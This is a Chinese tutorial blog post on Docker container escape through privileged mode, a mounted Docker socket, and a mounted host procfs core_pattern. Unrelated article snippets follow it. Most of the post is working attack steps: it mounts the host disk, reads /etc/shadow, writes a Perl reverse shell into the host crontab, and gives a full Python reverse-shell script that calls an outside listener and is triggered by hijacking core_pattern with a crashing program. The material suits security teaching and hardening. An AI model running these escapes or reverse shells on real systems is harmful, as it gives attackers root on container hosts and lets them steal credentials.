云安全攻防(七)之 容器逃逸

news2024/10/2 22:24:29

容器运行时的安全风险

运行时的容器可能发生的攻击形式数不胜数,然而归根结底,所有攻击影响的还是业务系统的机密性、完整性和可用性(CIA三要素)。从这个角度出发,我们可以将攻击做以下的分类:

  • 主要影响机密性、完整性的,通常是获取目标系统控制权、窃取或修改数据等
  • 主要影响可用性的,通常是对目标系统信息资源的耗尽型攻击

基于上述分类,我们将介绍两种非常典型的攻击方式:容器及安全容器逃逸、从容器发起的资源耗尽型攻击

容器逃逸

以其他虚拟化技术类似,逃逸是最为严重的安全风险,直接危害了底层宿主机和整个云计算系统的安全,“容器逃逸”是指攻击者通过劫持容器业务化逻辑或直接控制(CaaS等合法获得容器控制权的场景)等方式,已经获得了容器内某种权限下的命令执行能力,攻击者利用这种执行能力,借助一些手段进而获得该容器所在的直接宿主机某种权限下的命令执行能力。一些特殊的漏洞利用方式,如软件供应链阶段能够触发漏洞的恶意镜像、在容器内构造恶意符号链接、在容器内劫持动态链接库等,其本质上还是攻击者获得了容器内某种权限下执行命令的能力。

如果容器挂载了宿主机的某些文件或目录,将挂载列表与用于建立后门而写入shell的文件、目录列表交集,是不是就可以得到容器逃逸的新途径呢?

在这里插入图片描述

不安全配置导致的容器逃逸

在这些年的迭代中,容器社区一直在努力将纵深防御、最小权限等理念和原则落地,列如,Docker 已经将容器运行时的 Capabililttes 黑名单机制改为如今的默认禁止所有Capabililttes,再以白名单方式赋予容器内运行时所需的最小权限。截至目前为止,Docker 默认赋予容器近40项权限的中的14项:

func DefaultCapabilities() []string {
	return []string{
		"CAP_CHOWN",
		"CAP_DAC_OVERRIDE",
		"CAP_FSETID",
		"CAP_FOWNER",
		"CAP_MKNOD",
		"CAP_NET_RAW",
		"CAP_SETGID",
		"CAP_SETUID",
		"CAP_SETFCAP",
		"CAP_SETPCAP",
		"CAP_NET_BIND_SERVICE",
		"CAP_SYS_CHROOT",
		"CAP_KILL",
		"CAP_AUDIT_WRITE",
	}
}

然而,无论是细粒度权限控制还是其他安全机制,用户都可以通过修改容器环境配置或在运行时指定参数来调整约束,但如果用户为容器设置了某些危险的配置参数,就为攻击者提供了一定程度逃逸的可能性

–privileged:特权模式运行容器

最初,容器特权模式的出现是为了帮助开发者实现 Docker-in-Docker 特性。然而,在特权模式下运行的不完全受控制容器将给宿主机带来极大的安全威胁,当操作者执行 docker run --privileged时,Docker 将允许容器访问宿主机上的所有设备,同时修改 AppArmor 或 SELinux 的配置,使容器拥有与直接运行在宿主机上的进程拥有几乎相同的访问权限

如图,我们以特权模式和非特权模式创建了两个容器,其中特权容器内部可以看到宿主机上的设备

#以特权模式创建一个容器
docker run --rm --privileged=true -it alpine
#以非特权模式创建一个容器
docker run --rm  -it alpine
#查看当前所运行的容器
docker ps

在这里插入图片描述

在这样的场景下,从容器中逃逸出去易如反掌,手段也是非常多的,列如,攻击者可以直接在容器内部挂载宿主机磁盘:

#挂载磁盘
docker exec 82766e907721 fdisk -l
docker exec 69946fbdc420 fdisk -l | tail -n 2

在这里插入图片描述

在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff

cat /proc/self/status | grep CapEff

如图·可以看到以特权模式和非特权模式运行的容器CapEff 对应的掩码值的区别

在这里插入图片描述

在这里插入图片描述

现在我们以特权模式启动一个容器

#以特权模式启动一个容器
docker run --rm --privileged=true -it alpine

在这里插入图片描述

然后直接在容器内部挂载宿主机磁盘

#挂载宿主机磁盘
fdisk -l

在这里插入图片描述

然后将目录切换出去,在容器内部执行以下命令,创建一个host 目录,将宿主机文件挂载到 /host 目录下

#创建目录
mkdir /host
#将宿主机文件挂载到 /host 目录下
mount /dev/sda1 /host

在这里插入图片描述

现在我们可以在容器内部执行以下的命令,尝试访问宿主机 shadow 文件,可以看到正常访问

cat /host/etc/shadow

在这里插入图片描述

同样的情况下,也可以在定时任务中写入反弹 shell,这里的定时任务路径是 Ubuntu 系统路径,不同的系统定时任务路径不一样

我们这里开启监听

nc -lvvp 4444

在这里插入图片描述

然后在容器内执行命令,在定时任务中写入反弹 shell

echo $'*/1 * * * * perl -e \'use Socket;$i="192.168.41.138";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /host/etc/crontab

在这里插入图片描述

一分钟后,我们就能收到反弹回来的会话了,而且会话权限是宿主机 root 用户权限

在这里插入图片描述

到此为止,攻击者已经基本从容器内部逃逸出来了,这里说基本,是因为仅仅挂载了宿主机的根目录,如果用ps命令查看的话,可以看到还是容器内部的进程,因为没有挂载宿主机的 procfs

不安全挂载导致的容器逃逸

为了方便宿主机与虚拟机进行数据交换,几乎所有主流虚拟机解决方案都会提供宿主机目录到虚拟机的功能。容器同样如此,然而将宿主机上的敏感文件或目录挂载到容器内部——尤其是那些不完全受控的容器内部,往往会带来安全问题

尽管如此,在某些特定场景下,为了实现特定功能或者方便操作(列如为了在容器内对容器进行管理,将Docker Socket 挂载到容器内),人们还是选择将外部敏感卷挂载入容器。随着容器技术应用的逐渐深化,挂载操作变得瑜伽广泛,由此而来的安全问题也呈现上升趋势

挂载 Docker Socket 逃逸容器

Docker Socket 是 Docker 守护进程监听的 UNIX 域套接字,用来与守护进程通信——查询信息或下发命令。如果攻击者可控的容器内挂载了该套接字文件(/var/run/docker。sock),容器逃逸就相当容易了

挂载Docker Socket 逃逸容器的步骤如下:

  1. 首先创建一个容器内挂载 /var/run/docker.sock 文件
  2. 在该容器内部安装 Docker 命令行客户端
  3. 接着使用该客户端通过 Docker Socket 与 Docker 守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部
  4. 在新容器内执行chroot,将根目录切换到挂载的宿主及根目录

创建一个容器并挂载 /var/run/docker/sock 文件

docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

在这里插入图片描述

然后我们执行以下命令进入容器

#列出当前运行容器的进程
docker ps
#进入容器
docker exec -it 6ea2a95dc78d /bin/bash

在这里插入图片描述

检测当前容器是否存在这个漏洞,如果存在这个文件,说明漏洞可能存在

ls -lah /var/run/docker.sock

在这里插入图片描述

在容器内安装 Docker 命令行客户端

apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

docker run -it -v /:/host ubuntu /bin/bash
ls /host

在这里插入图片描述

由上图可见,已经将宿主机根目录挂载到容器内部,通过读取或者改写敏感文件可以实现逃逸

如图可以查看宿主机的敏感文件

cat /etc/shadow

在这里插入图片描述

当然进一步也能通过写入定时任务反弹shell,这一步的步骤跟之前在 --privileged:特权模式运行容器中讲解的反弹shell的步骤几乎一样

与不安全的配置导致的逃逸的问题类似,攻击者已经基本容器内逃逸出来了,我们说“基本”,是因为仅仅挂载了宿主及的根目录,如果用 ps 查看进程的话,看到的还是容器内的进程,因为没有挂载到宿主机的 procfs

挂载宿主机 procfs 逃逸容器

对于熟悉Linux 和云计算的朋友来说,procfs 绝对不是一个陌生的概念。 procfs是一个伪文件系统,它动态反映着系统内进程及其组件的状态,其中有许多非常敏感、重要的文件。因此,将宿主机的procfs 挂载到不受控制的容器也是十分危险的,尤其是在该容器内默认启用 root 权限,且没有开启 User Namespace 时(目前为止,Docker 默认情况下没有为容器开启 User Namespace)

一般来说,我们不会将宿主机的procfs 挂载到容器中,但是有些业务为了实现某些特殊需要,还是会将文件系统挂载进来

现在我们创建一个容器并挂载 /proc 目录

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs

find / -name core_pattern

在这里插入图片描述

现在我们需要输入以下的命令找到当前容器在宿主机下的绝对路径

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

在这里插入图片描述

这就表示当前绝对路径为

/var/lib/docker/overlay2/d7e3a634bcaa586c5eba9fd5e38bc42da7cc6e0a4e0c174695004db5b7261023/merged

接下来我们要安装 vim 和 gcc

apt-get update -y && apt-get install vim gcc -y

接下来我们创建一个反弹 Shell 的 py 脚本

vim /tmp/.t.py

脚本的内容如下,lhost 换成监听攻击机的IP

#!/usr/bin/python3
import  os
import pty
import socket
lhost = "192.168.41.132"
lport = 4444
def main():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((lhost, lport))
   os.dup2(s.fileno(), 0)
   os.dup2(s.fileno(), 1)
   os.dup2(s.fileno(), 2)
   os.putenv("HISTFILE", '/dev/null')
   pty.spawn("/bin/bash")
   # os.remove('/tmp/.t.py')
   s.close()
if __name__ == "__main__":
   main()

给 Shell 赋予执行权限

chmod 777 /tmp.t.py

在这里插入图片描述

写入反弹 shell 到目标的 proc 目录下

echo -e "|/var/lib/docker/overlay2/d7e3a634bcaa586c5eba9fd5e38bc42da7cc6e0a4e0c174695004db5b7261023/merged/tmp/.t.py \rcore    " >  /host/proc/sys/kernel/core_pattern

在这里插入图片描述

在攻击主机上192.168.41.132 开启一个监听

nc -lvvp 4444

在这里插入图片描述

然后在容器里编辑一个可以崩溃的程序

vim t.c

程序内容如下

#include<stdio.h>
int main(void)  {
   int *a  = NULL;
   *a = 1;
   return 0;
}

然后编译程序

gcc t.c -o t

运行该崩溃程序

./t

在这里插入图片描述

然后我们可以看到攻击机收到反弹的shell,逃逸成功

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/864907.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

从零开始学python(十七)JS逆向专题,看完直接入门

前言 今天讲述Python框架源码专题最后一个部分&#xff0c;爬虫集群部署&#xff0c;前面更新了十五个从零开始学python的系列文章&#xff0c;分别是&#xff1a; 编程语法/网络编程/多线程/多进程/协程/数据库机器学习/全栈开发/数据分析/Hadoop篇/Spark篇爬虫/自动化和抓包…

CMU 15-445 -- Distributed OLAP Databases -21

CMU 15-445 -- Distributed OLAP Databases -21 引言OLTP and OLAPStar Schema vs. Snowflake SchemaProblem Setup本节大纲Execution Models&#xff1a;Push vs. PullExample #1: Push Query to Data in Shared-Nothing ArchitectureExample #2: Pull Data to Query in Share…

ARP协议原理与应用

ARP协议原理与应用 一、ARP协议概述1.1、场景描述1.2、ARP协议概述 二、ARP协议工作原理2.1、ARP工作流程2.2、ARP工作原理2.3、ARP缓存表 三、ARP协议分类3.1、免费ARP&#xff08;Gratuitous ARP &#xff09;3.2、代理ARP&#xff08;Proxy ARP &#xff09;3.3、RARP与IARP…

详解lambda表达式(一):表达式定义与异常处理

目录 一、lambda表达式 二、lambda表达式实现函数接口 2.1 函数式接口 2.2 lambda表达式实现无参抽象方法 2.3 lambda表达式实现有参抽象方法 2.4 lambad表达式使用代码块 三、lambda表达式调用外部变量 3.1 lambda表达式可以更改类成员变量 3.2 lambda表达式无法更改…

jvs-rules API数据源配置说明(含配置APIdemo视频)

在JVS中&#xff0c;多数据源支持多种形态的数据接入&#xff0c;其中API是企业生产过程中常见的数据形态。使用数据源的集成配置&#xff0c;以统一的方式管理和集成多个API的数据。这些平台通常提供各种数据转换和处理功能&#xff0c;使得从不同数据源获取和处理数据变得更加…

datax-web报错收集

在查看datax时发现日志出现了如上错误&#xff0c;因为项目是部署在本地linux虚拟机上的&#xff0c;使用的是nat网络地址转换&#xff0c;不知道为什么虚拟机的端口号发生了变化&#xff0c;导致数据库根本连接不进去&#xff0c;更新linux虚拟机的ip地址就好

【Wamp】安装 | 局域网内设备访问

安装教程&#xff1a; https://wampserver.site/article/1.html 下载 https://www.wampserver.com/en/ 安装路径上不能有中文 安装好之后图标呈绿色 放入网页文件 将网页文件放置于wamp文件夹的www子文件夹 例如&#xff1a;\Wamp\program\www 修改http端口 WAMP服务器…

9.2.2Socket(TCP)

一.过程: 1.建立连接(不是握手),虽然内核中的连接有很多,但是在应用程序中,要一个一个处理. 2. 获取任务:使用ServerSocket.accept()方法,作用是把内核中的连接获取到应用程序中,这个过程类似于生产者消费者模型. 3. 使用缓冲的时候,注意全缓冲和行缓冲. 4.注意关闭文件资源…

docker复现nginx错误配置漏洞

目录 一、nginx环境搭建 1.1搭建步骤 二、docker复现Nginx配置漏洞 2.1安装docker 2.2复现过程 2.1CRLF(carriage return/line feed)注入漏洞 2.2.目录穿越 一、nginx环境搭建 1.1搭建步骤 1.先创建Nginx的目录并进入&#xff08;命令如下&#xff09; mkdir /soft &&…

Word 2019打开.doc文档后图片和公式不显示(呈现为白框)的解决办法

Word 2019打开.doc文档后图片和公式不显示&#xff08;呈现为白框&#xff09;的解决办法 目录 Word 2019打开.doc文档后图片和公式不显示&#xff08;呈现为白框&#xff09;的解决办法一、问题描述二、解决方法1.打开 WORD 2019&#xff0c;点击菜单中的“文件”&#xff1b;…

管理类联考——逻辑——论证逻辑——汇总篇——真题和典例——推论

推论 1. 推出结论题 199-2011-1-28——推出结论题——若题干无论点&#xff0c;考虑&#xff1a;&#xff08;1&#xff09;大多数情况&#xff0c;考虑&#xff1a;直接将选项代入题干。 一般将缅甸所产的经过风化或经河水搬运至河谷、河床中的翡翠大砾石&#xff0c;称为“…

棒球课堂的发展规划·棒球联盟

棒球课堂的发展规划 1. 棒球课堂的发展环境 探讨棒球课堂如何通过运用创新的教学方法来适应不断变化的市场需求。包括但不限于&#xff0c;科学地运用大数据和人工智能技术来提高教学效率&#xff0c;加强教师队伍的专业培训&#xff0c;以及拓展课外活动&#xff0c;增强学生…

【论文阅读】DEPCOMM:用于攻击调查的系统审核日志的图摘要(SP-2022)

Xu Z, Fang P, Liu C, et al. Depcomm: Graph summarization on system audit logs for attack investigation[C]//2022 IEEE Symposium on Security and Privacy (SP). IEEE, 2022: 540-557. 1 摘要 ​ 提出了 DEPCOMM&#xff0c;这是一种图摘要方法&#xff0c;通过将大图划…

【PythonRS】植被显示增强(多光谱、正射、照片等)

很多时候我们需要某个区域的正射图&#xff0c;虽然正射图一般都运用了匀色的算法&#xff0c;整体色彩比较均衡。但如果研究区内有大量的植被&#xff0c;这个时候植被突出显示就很有必要了。所以今天给大家分享一下使用Python对多光谱、正射影像进行植被显示增强的算法。 一、…

视频怎么变成gif表情包?在线视频转动图怎么做?

当我们在电脑上观看视频时&#xff0c;有时会遇到一些有趣的片段&#xff0c;如果想把这些视频转gif图片&#xff0c;就需要用到视频转gif工具&#xff08;https://www.gif.cn&#xff09;&#xff0c;今天分享一个使用视频在线转gif功能来完成gif制作的方法&#xff0c;下面是…

代谢组学市场分析,制药及生物制药行业正在推动全球代谢组学产业的发展

代谢组学是对某一生物或细胞所有小分子量代谢产物进行定性和定量分析的一门新兴学科&#xff0c;其揭示的小分子代谢产物变化是机体内基因、蛋白质/酶等功能变化的一系列事件的最终结果&#xff0c;直接反映了生物体系的最终状态&#xff0c;可以反映机体特定病理生理状态下整体…

UML-时序图

目录 时序图 时序图构成: 对象: 消息: 生命线(激活): 活动条: 时序图举例: 时序图 时序图也叫顺序图、序列图. 时序图描述按照时间的先后顺序对象之间的动作过程&#xff0c;是由生命线和消息组成 时序图构成: 对象: 对象是类的实例&#xff0c;对象是通过类来创建的&…

【STM32RT-Thread零基础入门】 3. PIN设备(GPIO)的使用

硬件&#xff1a;STM32F103ZET6、ST-LINK、usb转串口工具、4个LED灯、1个蜂鸣器、4个1k电阻、2个按键、面包板、杜邦线 文章目录 前言一、PIN设备介绍1. 引脚编号获取2. 设置引脚的输入/输出模式3. 设置引脚的电平值4. 读取引脚的电平值5. 绑定引脚中断回调函数6. 脱离引脚中断…

微信开发之获取收藏夹列表的技术实现

简要描述&#xff1a; 获取收藏夹内容 请求URL&#xff1a; http://域名地址/weChatFavorites/favSync 请求方式&#xff1a; POST 请求头Headers&#xff1a; Content-Type&#xff1a;application/jsonAuthorization&#xff1a;login接口返回 参数&#xff1a; 参数…

深度使用苹果M1 Mac电脑一个月后的发现与问题解决

自从苹果推出M1芯片的Mac电脑后&#xff0c;其强大的性能和高效的能耗管理引起了广泛关注。许多人纷纷购买了这款新一代的Mac电脑&#xff0c;并深度使用了一个月。然而&#xff0c;在长时间使用的过程中&#xff0c;一些问题也逐渐浮现出来。本文将分享在深度使用苹果M1 Mac电…